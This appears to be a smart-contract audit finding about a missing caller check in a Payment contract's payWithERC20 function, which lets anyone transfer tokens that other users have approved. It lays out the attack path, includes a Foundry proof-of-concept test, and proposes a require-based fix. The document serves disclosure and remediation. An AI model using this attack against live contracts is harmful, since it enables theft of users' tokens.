Itchy Cherry Boa

High

# Lack Of Authorization in Payment.sol::payWithERC20 Can Lead To Unauthorized Token Transfers

### Summary

A lack of authorization in the function `Payment.sol::payWithERC20` can lead to unauthorized token transfers from a user as an attacker can initiate token transfers from approved addresses to their own addresses. https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/Payment.sol#L25-L32
Even though comment says to support gasless flow, function still allows attacker to initiate transfer without authorization from users.
### Root Cause

In `Payment.sol::payWithERC20` there is no verification to check if the caller `msg.sender` is authorized to act on behalf of the `fromAddress` to transfer tokens to another address.

### Internal Pre-conditions

For the attack to succeed, the token holder must have previously called `approve` on the ERC20 token contract, granting the `Payment.sol` contract an allowance to spend a certain amount of their tokens

### External Pre-conditions

The attack assumes the ERC20 token contract follows the standard `safeTransferFrom` implementation (as provided by OpenZeppelin's SafeERC20), which transfers tokens if the caller has sufficient allowance, without imposing additional checks like requiring the caller to be the token owner.

### Attack Path

1. Identify a Target: The attacker monitors the blockchain for addresses that have approved the `Payment` contract to spend their ERC20 tokens. This information is publicly available via the ERC20 `allowance` function, which reveals how many tokens the contract can spend on behalf of a token holder.
2. Prepare the Exploit: The attacker constructs a transaction to call `payWithERC20` on the `Payment` contract. They specify:
`erc20TokenAddress`: The address of the ERC20 token contract (e.g., a mock token used in testing).
amount: The number of tokens to transfer, up to the approved allowance (e.g., 500 tokens).
`fromAddress`: The token holder’s address that has granted the approval.
`toAddress`: The attacker’s own address (or any address they control) to receive the tokens.
3.Execute the Call: The attacker sends the transaction to the network. Since `payWithERC20` is public and lacks a check like `require(msg.sender == fromAddress)`, the call proceeds without verifying the caller’s identity. The function invokes `safeTransferFrom` on the ERC20 token contract, which checks:
If the `Payment` contract has an allowance from `fromAddress` (met due to the internal precondition).
If the `amount` is within the allowance and the token holder’s balance. Assuming these conditions are met, `safeTransferFrom` transfers the tokens from `fromAddress` to `toAddress`.

### Impact

High risk of financial loss by token holder

### PoC

 The following test was written in foundry to verify that the attacker can transfer to other addresses without authorization from the user.

```Solidity
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;


import {MockERC20} from "./MockERC20.sol";
import {Payment} from "../src/Payment.sol";
import {Vm} from "forge-std/Vm.sol";
import {Test} from "forge-std/Test.sol";

    
contract PaymentTest is Test {
    
    Payment public paymentContract;
    MockERC20 public token;

    address public user;
    address public attacker;

    function setUp() public {
        // Deploy token
        token = new MockERC20();
        // Deploy payment contract
        paymentContract = new Payment();
        // Set up user and attacker
        user = vm.addr(1);
        attacker = vm.addr(2);
        // Mint tokens to user
        token.mint(user, 1000);
        // User approves payment contract to spend 500 tokens
        vm.prank(user);
        token.approve(address(paymentContract), 500);
    }

    function testUnauthorisedTransfer() public {
        // Check initial balances
        assertEq(token.balanceOf(user), 1000);
        assertEq(token.balanceOf(attacker), 0);

        // Attacker attempts unauthorized transfer
        vm.prank(attacker);
        paymentContract.payWithERC20(address(token), 500, user, attacker);

        // Check final balances
        assertEq(token.balanceOf(user), 500);
        assertEq(token.balanceOf(attacker), 500);
    }
}
```

### Mitigation

Add authorization checks  
```Solidity

//@audit --> The require statement below checks if the caller is the same as the fromAddress
        require(msg.sender == fromAddress, "Invalid from address");

```